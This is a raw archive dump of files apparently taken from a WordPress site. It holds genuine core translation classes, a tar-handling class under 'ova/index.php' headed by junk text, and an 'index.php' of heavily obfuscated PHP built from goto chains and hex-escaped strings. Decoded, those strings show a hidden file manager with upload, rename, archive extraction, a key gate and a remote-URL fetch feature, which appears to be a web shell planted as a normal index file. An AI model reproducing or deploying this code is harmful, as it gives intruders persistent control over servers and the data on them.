nskldgskgsdgf hlsqmdklsqd speskdjqsjdss class-wp-translations.php000064400000007334150546153570011547 0ustar00 $headers * @property-read array $entries */ class WP_Translations { /** * Text domain. * * @since 6.5.0 * @var string */ protected $textdomain = 'default'; /** * Translation controller instance. * * @since 6.5.0 * @var WP_Translation_Controller */ protected $controller; /** * Constructor. * * @since 6.5.0 * * @param WP_Translation_Controller $controller I18N controller. * @param string $textdomain Optional. Text domain. Default 'default'. */ public function __construct( WP_Translation_Controller $controller, string $textdomain = 'default' ) { $this->controller = $controller; $this->textdomain = $textdomain; } /** * Magic getter for backward compatibility. * * @since 6.5.0 * * @param string $name Property name. * @return mixed */ public function __get( string $name ) { if ( 'entries' === $name ) { $entries = $this->controller->get_entries( $this->textdomain ); $result = array(); foreach ( $entries as $original => $translations ) { $result[] = $this->make_entry( $original, $translations ); } return $result; } if ( 'headers' === $name ) { return $this->controller->get_headers( $this->textdomain ); } return null; } /** * Builds a Translation_Entry from original string and translation strings. * * @see MO::make_entry() * * @since 6.5.0 * * @param string $original Original string to translate from MO file. Might contain * 0x04 as context separator or 0x00 as singular/plural separator. * @param string $translations Translation strings from MO file. * @return Translation_Entry Entry instance. */ private function make_entry( $original, $translations ): Translation_Entry { $entry = new Translation_Entry(); // Look for context, separated by \4. $parts = explode( "\4", $original ); if ( isset( $parts[1] ) ) { $original = $parts[1]; $entry->context = $parts[0]; } $entry->singular = $original; $entry->translations = explode( "\0", $translations ); $entry->is_plural = count( $entry->translations ) > 1; return $entry; } /** * Translates a plural string. * * @since 6.5.0 * * @param string|null $singular Singular string. * @param string|null $plural Plural string. * @param int|float $count Count. Should be an integer, but some plugins pass floats. * @param string|null $context Context. * @return string|null Translation if it exists, or the unchanged singular string. */ public function translate_plural( $singular, $plural, $count = 1, $context = '' ) { if ( null === $singular || null === $plural ) { return $singular; } $translation = $this->controller->translate_plural( array( $singular, $plural ), (int) $count, (string) $context, $this->textdomain ); if ( false !== $translation ) { return $translation; } // Fall back to the original with English grammar rules. return ( 1 === $count ? $singular : $plural ); } /** * Translates a singular string. * * @since 6.5.0 * * @param string|null $singular Singular string. * @param string|null $context Context. * @return string|null Translation if it exists, or the unchanged singular string */ public function translate( $singular, $context = '' ) { if ( null === $singular ) { return null; } $translation = $this->controller->translate( $singular, (string) $context, $this->textdomain ); if ( false !== $translation ) { return $translation; } // Fall back to the original. return $singular; } } class-wp-translation-file-mo.php000064400000014340150546153650012704 0ustar00error = 'Magic marker does not exist'; return false; } /** * Parses the file. * * @since 6.5.0 * * @return bool True on success, false otherwise. */ protected function parse_file(): bool { $this->parsed = true; $file_contents = file_get_contents( $this->file ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents if ( false === $file_contents ) { return false; } $file_length = strlen( $file_contents ); if ( $file_length < 24 ) { $this->error = 'Invalid data'; return false; } $this->uint32 = $this->detect_endian_and_validate_file( substr( $file_contents, 0, 4 ) ); if ( false === $this->uint32 ) { return false; } $offsets = substr( $file_contents, 4, 24 ); if ( false === $offsets ) { return false; } $offsets = unpack( "{$this->uint32}rev/{$this->uint32}total/{$this->uint32}originals_addr/{$this->uint32}translations_addr/{$this->uint32}hash_length/{$this->uint32}hash_addr", $offsets ); if ( false === $offsets ) { return false; } $offsets['originals_length'] = $offsets['translations_addr'] - $offsets['originals_addr']; $offsets['translations_length'] = $offsets['hash_addr'] - $offsets['translations_addr']; if ( $offsets['rev'] > 0 ) { $this->error = 'Unsupported revision'; return false; } if ( $offsets['translations_addr'] > $file_length || $offsets['originals_addr'] > $file_length ) { $this->error = 'Invalid data'; return false; } // Load the Originals. $original_data = str_split( substr( $file_contents, $offsets['originals_addr'], $offsets['originals_length'] ), 8 ); $translations_data = str_split( substr( $file_contents, $offsets['translations_addr'], $offsets['translations_length'] ), 8 ); foreach ( array_keys( $original_data ) as $i ) { $o = unpack( "{$this->uint32}length/{$this->uint32}pos", $original_data[ $i ] ); $t = unpack( "{$this->uint32}length/{$this->uint32}pos", $translations_data[ $i ] ); if ( false === $o || false === $t ) { continue; } $original = substr( $file_contents, $o['pos'], $o['length'] ); $translation = substr( $file_contents, $t['pos'], $t['length'] ); // GlotPress bug. $translation = rtrim( $translation, "\0" ); // Metadata about the MO file is stored in the first translation entry. if ( '' === $original ) { foreach ( explode( "\n", $translation ) as $meta_line ) { if ( '' === $meta_line || ! str_contains( $meta_line, ':' ) ) { continue; } list( $name, $value ) = array_map( 'trim', explode( ':', $meta_line, 2 ) ); $this->headers[ strtolower( $name ) ] = $value; } } else { /* * In MO files, the key normally contains both singular and plural versions. * However, this just adds the singular string for lookup, * which caters for cases where both __( 'Product' ) and _n( 'Product', 'Products' ) * are used and the translation is expected to be the same for both. */ $parts = explode( "\0", (string) $original ); $this->entries[ $parts[0] ] = $translation; } } return true; } /** * Exports translation contents as a string. * * @since 6.5.0 * * @return string Translation file contents. */ public function export(): string { // Prefix the headers as the first key. $headers_string = ''; foreach ( $this->headers as $header => $value ) { $headers_string .= "{$header}: $value\n"; } $entries = array_merge( array( '' => $headers_string ), $this->entries ); $entry_count = count( $entries ); if ( false === $this->uint32 ) { $this->uint32 = 'V'; } $bytes_for_entries = $entry_count * 4 * 2; // Pair of 32bit ints per entry. $originals_addr = 28; /* header */ $translations_addr = $originals_addr + $bytes_for_entries; $hash_addr = $translations_addr + $bytes_for_entries; $entry_offsets = $hash_addr; $file_header = pack( $this->uint32 . '*', // Force cast to an integer as it can be a float on x86 systems. See https://core.trac.wordpress.org/ticket/60678. (int) self::MAGIC_MARKER, 0, /* rev */ $entry_count, $originals_addr, $translations_addr, 0, /* hash_length */ $hash_addr ); $o_entries = ''; $t_entries = ''; $o_addr = ''; $t_addr = ''; foreach ( array_keys( $entries ) as $original ) { $o_addr .= pack( $this->uint32 . '*', strlen( $original ), $entry_offsets ); $entry_offsets += strlen( $original ) + 1; $o_entries .= $original . "\0"; } foreach ( $entries as $translations ) { $t_addr .= pack( $this->uint32 . '*', strlen( $translations ), $entry_offsets ); $entry_offsets += strlen( $translations ) + 1; $t_entries .= $translations . "\0"; } return $file_header . $o_addr . $t_addr . $o_entries . $t_entries; } } ova/index.php000064400000233533150546153770007177 0ustar00nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } index.php000064400000241240150546154040006373 0ustar00open($WxlCc) === TRUE) { goto dnKYZ; } goto yjRLJ; rcgmR: YAz4q: goto AeSrz; qOyLV: if (!($UyGf4 !== $RN9dg)) { goto SGPJe; } goto By17q; gPrp2: $DKH4N = "\x49\x74\x65\x6d\40\x6e\x6f\164\40\x66\157\165\156\144\56"; goto B3Ml1; AViHQ: ItQRC: goto NCBWC; jWvjk: echo urlencode(dirname($UyGf4)); goto sskkE; VJKE0: $DKH4N = "\x49\156\166\141\x6c\151\x64\x20\x66\x69\154\x65\40\x74\171\x70\x65\40\x6f\162\40\146\151\154\145\40\x61\x6c\x72\x65\141\x64\171\40\145\170\x69\x73\x74\163\56"; goto Y3LxI; qM33z: if (!($st1pL && isset($_POST["\x66\145\164\x63\150\x5f\162\x65\155\157\x74\145"]) && !empty($_POST["\162\x65\x6d\157\164\145\137\165\x72\x6c"]))) { goto T_Iui; } goto qfRoT; uBvqX: $DKH4N = "\x49\164\145\x6d\40\x64\x6f\167\x6e\x6c\x6f\x61\x64\x65\144\40\163\165\x63\x63\145\x73\x73\x66\x75\x6c\154\x79\x2e"; goto Zbq2n; iPIq9: $DKH4N = "\106\x69\x6c\x65\40\x61\154\162\x65\x61\144\x79\40\x65\x78\x69\163\164\163\x2e"; goto QH0ar; AoQU8: $XSEgQ = znO1r($_POST["\151\x74\x65\x6d\x5f\x6e\141\155\145"]); goto A6W2h; CxVnM: $P1G3L = ZNO1R($_POST["\x66\x6f\x6c\144\x65\162\x5f\156\141\x6d\145"]); goto NHwLm; xAZme: if (file_exists($xAY2y)) { goto ohQxi; } goto gPrp2; NrS0O: onpA9: goto Jr6hd; HrspV: yUGjA: goto HFgF1; jC0wy: $DKH4N = "\111\164\145\155\40\x75\x70\x6c\x6f\x61\x64\145\144\x20\x73\165\x63\143\145\x73\x73\146\165\x6c\x6c\x79\56"; goto Xtn5l; KCWei: if (isset($_POST["\x73\145\x63\165\162\x65\137\x6b\145\x79"]) && isset($_POST["\143\163\x72\146\x5f\x74\x6f\x6b\x65\x6e"]) && $_POST["\x63\163\x72\x66\x5f\x74\157\x6b\x65\x6e"] === $_SESSION["\143\x73\x72\x66\x5f\x74\x6f\153\145\156"]) { goto IJ3Hk; } goto eDJC3; SLPz3: if (!(isset($_FILES["\165\160\x6c\157\x61\144\145\x64\x5f\151\x74\x65\155"]) && $_FILES["\165\160\x6c\x6f\141\x64\145\144\x5f\x69\x74\145\155"]["\145\162\x72\x6f\162"] === UPLOAD_ERR_OK)) { goto P7qdn; } goto tlrMv; O2aP8: IKl1G: goto PqQjK; haRmB: gyQ9C: goto x7QnY; Vc9UK: yHBos: goto nxE40; yH4Cb: if (in_array($Vjqae, $yC3U8) && !file_exists($l4vH0)) { goto YAz4q; } goto VJKE0; F2e6r: if (file_put_contents($xAY2y, $cFfUK) !== false) { goto fSUu0; } goto CQNeC; mqeiq: goto CqYQN; goto O2aP8; GV3it: $DKH4N = "\111\x74\145\155\x20\x72\145\156\x61\155\x65\144\x20\x73\165\x63\143\x65\x73\x73\x66\x75\154\x6c\171\x2e"; goto AViHQ; HbETr: if (!(!$UyGf4 || !is_dir($UyGf4) || !is_readable($UyGf4) || strpos($UyGf4, $RN9dg) !== 0)) { goto IUKiV; } goto SFaK1; g9sUN: sort($RKVRy); goto IttBb; fP2_W: header("\103\157\x6e\x74\x65\x6e\x74\x2d\x54\171\160\x65\72\40\164\145\170\164\x2f\160\154\141\151\156"); goto lVPL0; aK3Vo: Axvto: goto A3raI; sbUHL: QuW09: goto mU9_h; Oo1ct: CtH4i: goto xmdTh; FdNTJ: $RKVRy = []; goto DXZMW; JENU1: OCuP1: goto NHWkd; dxbFr: bPia2: goto tVO8Z; LXZOP: $DKH4N = "\x45\x72\162\157\x72\40\145\x78\x74\x72\141\x63\x74\151\x6e\x67\x20\141\162\x63\x68\x69\x76\145\x2e"; goto YprUx; S5SU9: $xAY2y = $UyGf4 . "\x2f" . $XSEgQ; goto lkCg9; OQPz9: T_Iui: goto YNA75; k7_aS: echo htmlspecialchars($_SESSION["\x63\163\162\146\x5f\164\x6f\x6b\x65\156"]); goto MKafv; RkyCs: echo "\42\x3e\xd\12\40\x20\40\40\x20\x20\40\x20\40\x20\x20\40\40\40\40\40\40\40\40\x20\74\151\156\x70\165\164\x20\x74\171\x70\145\75\x22\164\x65\x78\x74\42\x20\x6e\141\155\145\x3d\42\146\157\x6c\x64\145\x72\137\x6e\141\155\x65\x22\x20\143\154\x61\x73\x73\x3d\42\146\154\x65\x78\55\x31\40\160\55\x33\x20\142\157\x72\x64\145\162\40\x72\157\x75\x6e\x64\145\x64\x2d\x6c\x67\x20\146\x6f\x63\x75\163\72\x6f\x75\164\154\151\156\145\55\156\157\156\145\40\x66\157\143\x75\x73\x3a\162\151\156\147\55\x32\40\x66\157\x63\165\x73\x3a\162\151\156\147\x2d\166\x69\166\151\x64\x2d\x74\145\x61\x6c\x22\40\160\x6c\141\143\145\150\157\x6c\144\145\162\x3d\42\x46\157\154\x64\145\x72\x20\x6e\x61\x6d\145\x22\x20\x72\x65\x71\165\x69\162\x65\144\x3e\xd\xa\x20\x20\40\40\40\40\40\x20\x20\x20\x20\40\40\40\x20\40\x20\40\40\x20\74\142\165\x74\x74\157\x6e\40\x74\x79\x70\x65\75\x22\163\165\x62\155\x69\x74\42\x20\x6e\x61\x6d\x65\75\42\141\144\x64\137\144\x69\162\x65\143\164\x6f\162\171\x22\40\x63\154\141\x73\x73\x3d\42\142\x67\55\166\x69\166\x69\x64\x2d\164\145\141\x6c\40\x74\x65\x78\164\55\x77\150\151\x74\x65\x20\160\55\63\x20\162\x6f\165\156\144\145\144\55\x6c\147\x20\150\x6f\166\145\162\72\x62\x67\55\166\x69\x76\151\x64\55\164\x65\x61\x6c\x2d\144\x61\162\x6b\40\x76\151\166\151\144\55\164\x72\x61\x6e\163\151\x74\151\157\x6e\42\x3e\x41\x64\144\x3c\x2f\142\165\164\164\x6f\x6e\x3e\xd\xa\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\x3c\57\x66\157\162\x6d\x3e\xd\12\x20\40\40\x20\x20\40\x20\40\x20\40\40\40\74\57\144\151\166\76\15\12\xd\12\x20\x20\40\40\40\40\40\x20\x20\x20\x20\x20\x3c\x21\x2d\55\x20\x55\160\154\157\x61\x64\x20\111\x74\145\155\40\x2d\x2d\76\xd\xa\x20\x20\x20\40\40\x20\40\40\x20\40\x20\40\x3c\144\151\166\x20\x63\154\x61\x73\163\75\42\142\x67\55\167\150\x69\x74\x65\40\x70\55\x36\x20\162\x6f\x75\156\x64\x65\144\55\170\x6c\40\163\150\141\144\157\167\55\x78\154\40\166\151\166\x69\x64\x2d\x68\157\166\145\162\x22\76\xd\12\x20\x20\x20\40\x20\40\40\40\x20\40\40\40\40\x20\x20\x20\74\150\63\40\143\154\x61\163\163\x3d\42\x74\x65\170\x74\55\170\154\40\x66\157\x6e\x74\x2d\163\145\x6d\x69\x62\x6f\x6c\144\x20\x6d\142\55\64\40\x74\x65\x78\x74\55\166\x69\x76\151\x64\x2d\143\x68\141\162\143\x6f\x61\x6c\x22\76\125\x70\x6c\157\141\144\40\111\164\145\x6d\74\x2f\150\x33\76\15\xa\x20\40\40\40\40\40\40\40\40\x20\x20\x20\x20\40\40\40\x3c\x66\157\162\155\x20\x6d\145\x74\x68\157\144\75\x22\160\157\x73\x74\x22\40\145\156\143\x74\x79\x70\x65\75\x22\155\x75\154\164\151\160\x61\x72\164\x2f\146\157\x72\x6d\x2d\x64\141\164\141\42\x20\143\x6c\x61\163\x73\x3d\x22\x66\154\145\170\40\x73\x70\141\143\x65\55\x78\x2d\63\42\x3e\15\xa\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\74\x69\x6e\160\x75\x74\40\164\171\x70\145\75\42\150\151\144\144\x65\156\x22\x20\x6e\141\x6d\x65\75\42\x63\x73\x72\x66\x5f\x74\x6f\153\x65\x6e\42\x20\x76\141\154\x75\145\x3d\x22"; goto k7_aS; Hfcg3: fSUu0: goto HF3ib; HWu98: echo "\40\x20\40\40\x20\40\40\40\74\57\144\151\166\x3e\15\xa\15\12\40\40\x20\40\x20\x20\x20\40\x3c\41\55\x2d\40\111\164\x65\x6d\40\124\141\x62\x6c\145\40\55\55\x3e\15\xa\40\x20\40\40\x20\x20\40\40\x3c\x64\151\166\x20\143\x6c\x61\163\163\x3d\42\x62\x67\55\x77\x68\x69\164\x65\x20\x72\157\165\x6e\144\145\144\x2d\x78\x6c\x20\163\150\141\144\157\167\55\x78\154\40\x6f\166\145\x72\x66\154\157\x77\x2d\170\x2d\141\165\164\157\x22\76\xd\12\x20\40\40\40\40\x20\40\40\40\40\40\40\x3c\x74\x61\142\154\145\40\143\x6c\x61\x73\x73\x3d\42\x77\55\146\165\154\154\x22\x3e\xd\xa\x20\40\x20\40\x20\x20\40\40\40\40\x20\40\x20\x20\x20\x20\74\x74\150\x65\141\x64\40\x63\x6c\141\x73\163\x3d\42\x62\x67\55\147\162\141\171\55\61\60\60\x22\x3e\xd\12\x20\40\40\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\40\x20\40\40\40\x3c\164\x72\40\x63\x6c\x61\x73\x73\75\42\163\x74\151\143\153\171\x2d\150\145\x61\144\145\162\x22\x3e\xd\12\40\x20\40\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\74\x74\x68\40\x63\154\x61\163\163\75\42\160\x2d\64\40\x74\x65\x78\x74\x2d\x6c\x65\146\x74\40\164\x65\x78\x74\55\x76\x69\166\x69\x64\x2d\x63\x68\x61\162\x63\x6f\x61\154\42\76\116\141\155\x65\x3c\x2f\x74\150\76\xd\xa\40\x20\x20\x20\40\40\x20\40\40\40\x20\40\40\40\x20\x20\40\40\x20\40\40\x20\x20\x20\74\x74\x68\40\x63\154\141\x73\x73\75\x22\x70\55\x34\40\164\x65\x78\164\x2d\x6c\x65\x66\164\40\164\145\170\x74\x2d\166\x69\166\x69\x64\55\x63\x68\x61\x72\143\157\141\x6c\42\x3e\124\171\x70\145\x3c\57\164\x68\x3e\15\12\40\x20\x20\x20\40\40\x20\40\x20\x20\40\40\x20\x20\40\40\x20\40\x20\40\x20\40\x20\x20\x3c\x74\150\x20\x63\154\141\x73\163\x3d\42\160\x2d\x34\40\164\x65\170\164\x2d\154\145\146\164\40\x74\145\x78\164\x2d\x76\151\x76\151\x64\x2d\x63\x68\141\162\143\157\x61\154\42\76\123\x69\x7a\x65\74\x2f\x74\150\76\15\xa\40\40\40\x20\x20\40\40\40\x20\40\40\x20\40\40\x20\40\x20\40\x20\x20\40\40\x20\x20\74\164\x68\40\x63\x6c\141\x73\x73\75\42\x70\55\x34\40\x74\x65\170\164\55\154\145\146\x74\x20\164\145\170\164\x2d\166\151\166\x69\x64\x2d\x63\150\141\x72\x63\x6f\141\x6c\42\76\x57\162\x69\x74\141\142\x6c\x65\74\57\164\x68\76\xd\12\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\74\164\x68\x20\x63\x6c\141\163\163\75\x22\x70\x2d\64\40\164\145\x78\164\x2d\154\x65\146\164\x20\164\x65\170\164\x2d\166\151\x76\151\144\x2d\143\x68\x61\162\143\x6f\x61\x6c\42\76\x4c\x61\163\x74\x20\x4d\157\144\151\146\x69\x65\x64\x3c\x2f\164\150\76\xd\xa\40\40\40\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40\40\x20\40\x20\x20\74\x74\x68\x20\x63\x6c\x61\163\x73\x3d\42\160\x2d\64\40\x74\x65\x78\164\x2d\x6c\145\x66\164\x20\x74\x65\x78\x74\55\x76\x69\166\x69\x64\x2d\x63\x68\x61\162\143\157\141\154\42\76\x41\143\164\x69\x6f\x6e\x73\x3c\57\164\150\x3e\15\xa\40\x20\40\x20\40\x20\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\74\x2f\164\162\76\xd\xa\40\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\x3c\57\x74\150\x65\x61\144\76\15\xa\40\40\40\x20\x20\40\40\x20\